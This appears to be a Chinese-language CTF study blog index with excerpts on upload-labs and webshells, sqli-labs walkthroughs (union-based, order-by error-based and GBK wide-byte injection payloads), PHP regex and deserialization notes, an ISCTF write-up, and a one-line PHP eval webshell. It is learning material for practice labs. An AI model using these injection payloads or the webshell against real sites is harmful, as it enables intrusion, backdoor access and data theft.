upload-labs
webshellWebShell是一种以asp、php、jsp或cgi等网页文件形式存在的代码执行环境,也可以称为一种网页后门。它具有以下特点:可以远程执行命令、上传下载文件、修改文件权限等。WebShell根据功能和特点可以分为不同的类型,包括内存马和WebShell管理工具
关于文件上传漏洞文件上传漏洞主要是由于服务器端对用户上传的文件过滤不严导致被攻击者传入运行具有恶意代码的文件从而导致安全风险
文件上传漏洞需要满足的条件Web容器解释执行: 如果上传的文件能够被Web容器解释执行,特别是对于一些动态网页语言(如PHP、ASP、JSP等),攻击者可能通过上传包含恶意代码的文件来实现远程代码执行。这强调了对上传目录的权限和配置的重要性,确保攻击者无法直接上传并执行恶意脚本。
用户可通过Web访问: 文件上传漏洞的威胁在于攻击者能够通过Web访问上传的文件。如果文件上传成功但用户无法通过Web访问,那么漏洞的影响将受到限制。这也强调了对上传文件目录的访问权限和Web服务器配置的考虑。
内容修改和安全检查: 通过对上传的文件进行安全检查、格式化、图片压缩等操作,可以防止攻击者成功地执行 ...
sqlilabs less46-53
less46这道题目我们打开源码,可以发现他的查询语句发生了很大的变化,我们可以发先这个语句由1select * from user where id='$id'变成了1select * from user order by $srot那么我来介绍以下order by首先order by是一个mysql的排序语句,而我们常用的order by 1,order by 3之类的,原理就是order by的排列概功能,order by 3的意思就是将select查询的列的第三个进行排序,那么如果输入的数大于查询的列数就会报错,这就是order by查询列数的原理。order by的基本语句如下1select username,password from users order by username,password ASC|DESCASC为正序而DESC为逆序那么我们要怎么利用order by来进行注入呢?1,经过尝试order_by后无法跟union进行注入2,order by后可以使用and和or语句所以我们可以使用报错注入1?sort=1 or extractva ...
sqlilabs less38-45
less 38我们打开源码
看到一个叫mysql_connect()的函数打开到一个mysql服务器的新连接,返回一个代表到 MySQL 服务器的连接的对象。mysql_connect(host,username,password,dbname,prok,socket)host:必写,表示一个服务器的主机域名username:必写,表示mysql服务器的用户名password:可写,表示密码dbname:可选,表示要连接的数据库prok:可选,表示mysql服务器的连接端口socket:可选,表示所要使用的socket和已命名的pipesocket就是我们在发送时,帮助我们发送保护我们数据,打包数据等的东西,就像一个物流公司一样当我们发送时帮我们进行一系列操作
2.mysql_connect_errno()该函数于mysql_connect()有关连,会放回一个错误连接的代码,如果没有连接错误就返回03.mysql_select_db()查询所连接数据库的的一些php代码语法mysql_select_db(connection,dbname)connection:必写,规定要使用的my ...
sqli-labs less32-37宽字节绕过
less32这关我们直接查看源码我们可以看到引入可gbk编码
gbk编码编码包括了双字节字符集和单字节字符集单字符编码:如ascii码,单字节字符集表示其内部的所以字符都是由单字节表示的双字节字符集:也称为宽字符,双字节字符集表示其内部字符是由两个字节来表示的,其导致的漏洞大多是因为服务器错误的将两个单字节错误的编码为宽字符宽字符:用多个字节来表示的字符集宽字节::GB2312、GBK、GB18030、BIG5、ShiftJIS都是宽字节,其是由两个单字节来表示。其漏洞基本是由于输入多个单字节导致单字节被当成宽字节导致的,gbk码只有当前一个字节的ascii码值大于128才到汉字的范围
函数preg_replace($str,$str1,$str2)表示交换需要过滤的字符,即判断str2里有没有str由则将str转换成str1preg_quote($str)会将字符串中的所有特殊字符前添加一个\使其实体化。这样就导致了我们输入’会被添加上\导致转意。这时候我们就可以利用宽字节绕过由于\的url编码为%5c,这时候我们可以在%5c前加一个%df这时候就会组成为%df%5c而这两个字节就 ...
正则表达式
这个函数是个正则表达式,代码如下123456if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。";} else { echo "未发现匹配的字符串 php。";}?>输出:查找到匹配的字符串 php上面的代码的意思为:在后式的”PHP”中查找前式列出的字符串php,有则返回1无返回0/php/两边的/是用于对字符串的分隔//后的i代表这是一个对大小写不敏感的查询所有这个会返回1就是真
123456789101112131415<?php/* 模式中的 \b 标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配 * 单词的部分内容比如"webbing" 或 "cobweb" */if (preg_match("/\bweb\ ...
ISCTF的wp
还是tcl并没有写出来几题但是有学到不少。1.圣杯战争!!当我看到这道题的时候我马上就发现这个新生赛和我之前做的完全不是一个等级的,刚开始做这题的使用由于本人不会php的序列化和反序列化所以这题是我学习了很久才做出这道题目。学习过程在这里序列化与反序列化的学习这道题目的提示做的很明显,出题人将构造pop链的顺序都和我们说了。我们要从summon到artifact到preoare到saber,我们可以先个$Saber赋值为对象artifact那么当输出$Saber时会因为错误的将对artifact当成字符串输出那么就会触发artifact的tostring(),我们再将变量$excalibuer赋值为对象prepare那么就会错误的调用没有的成员属性从而触发get($key)我们再将$release赋值为saber那么就会因为错误的将对象saber当成函数触发从而触发__invoke()那么我们就可以对成功链接到我们的目标函数include()了,接下来我们应该对weapon进行赋值从而得到flag这道题目除了考察php的序列化和反序列化还考查看了php的反序列化也就是关于最终inclu ...
序列化与反序列化
我会在这里写下我学习序列化和反序列化的过程类与对像学习序列化和反序列化最基本的就是对类和对象的了解
什么是类什么是对象类就是就是对象的抽象,而对象就是对类的实例化
举例类相当于一个写着电脑配置的清单而对象就是这太电脑组装后的样子,也就是说对象是类的实体也就是实例
类的定义类的定义包含对类名的定义对成员变量(属性)的定义对成员函数的定义(方法)以下为代码演示123456789101112131415<?phpclass text{ var $name="benben"; var $name2="dazhuang"; function xuanze(){ $this->name; echo "输出"; } } $p=new text(); print_r($p) echo $p->name; $p->xuanze()?>
以上代码中function以前的为成员属性而functi ...
php函数
我会在这里写下我在写ctf题时遇到的不会和不熟悉的的php函数preg_match这个函数是个正则表达式,代码如下123456if (preg_match("/php/i", "PHP is the web scripting language of choice.")) { echo "查找到匹配的字符串 php。";} else { echo "未发现匹配的字符串 php。";}?>输出:查找到匹配的字符串 php上面的代码的意思为:在后式的”PHP”中查找前式列出的字符串php,有则返回1无返回0/php/两边的/是用于对字符串的分隔//后的i代表这是一个对大小写不敏感的查询所有这个会返回1就是真
123456789101112131415<?php/* 模式中的 \b 标记一个单词边界,所以只有独立的单词"web"会被匹配,而不会匹配 * 单词的部分内容比如"webbing" 或 "co ...
sqli-labs的wp
less1~less4less1我们先在url上输入?id=1进行尝试发现屏幕回显如下证明存在注入点接下来我们判断为什么类型的注入,输入1?id=2-1;发现屏幕回显如下
与?id=1不同所以为字符型注入,因为是字符型注入所以我们需要找到闭合方式输入?id=1'--+成功回显所以他的闭合方式为'
接下来我们查询该表的列数1?id=1' order by 列数--+我们发现当我们order by 4时报错而order by 3时没报错所以判断该表列数为3接下来我们查看回显位置1?id=-1' union select 1,2,3--+回显如下证明回显位置是2和3接下来我们可以查询数据库名称代码如下1?id=-1' union select 1,database(),3查询出库名为’security’在查询这个库中的表名代码如下1?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= ...
一句话木马
这篇文章是关于一句话木马的文章一句话木马可以说是最简单吗木马了,代码如下1<?php @eval($_POST['1']);?>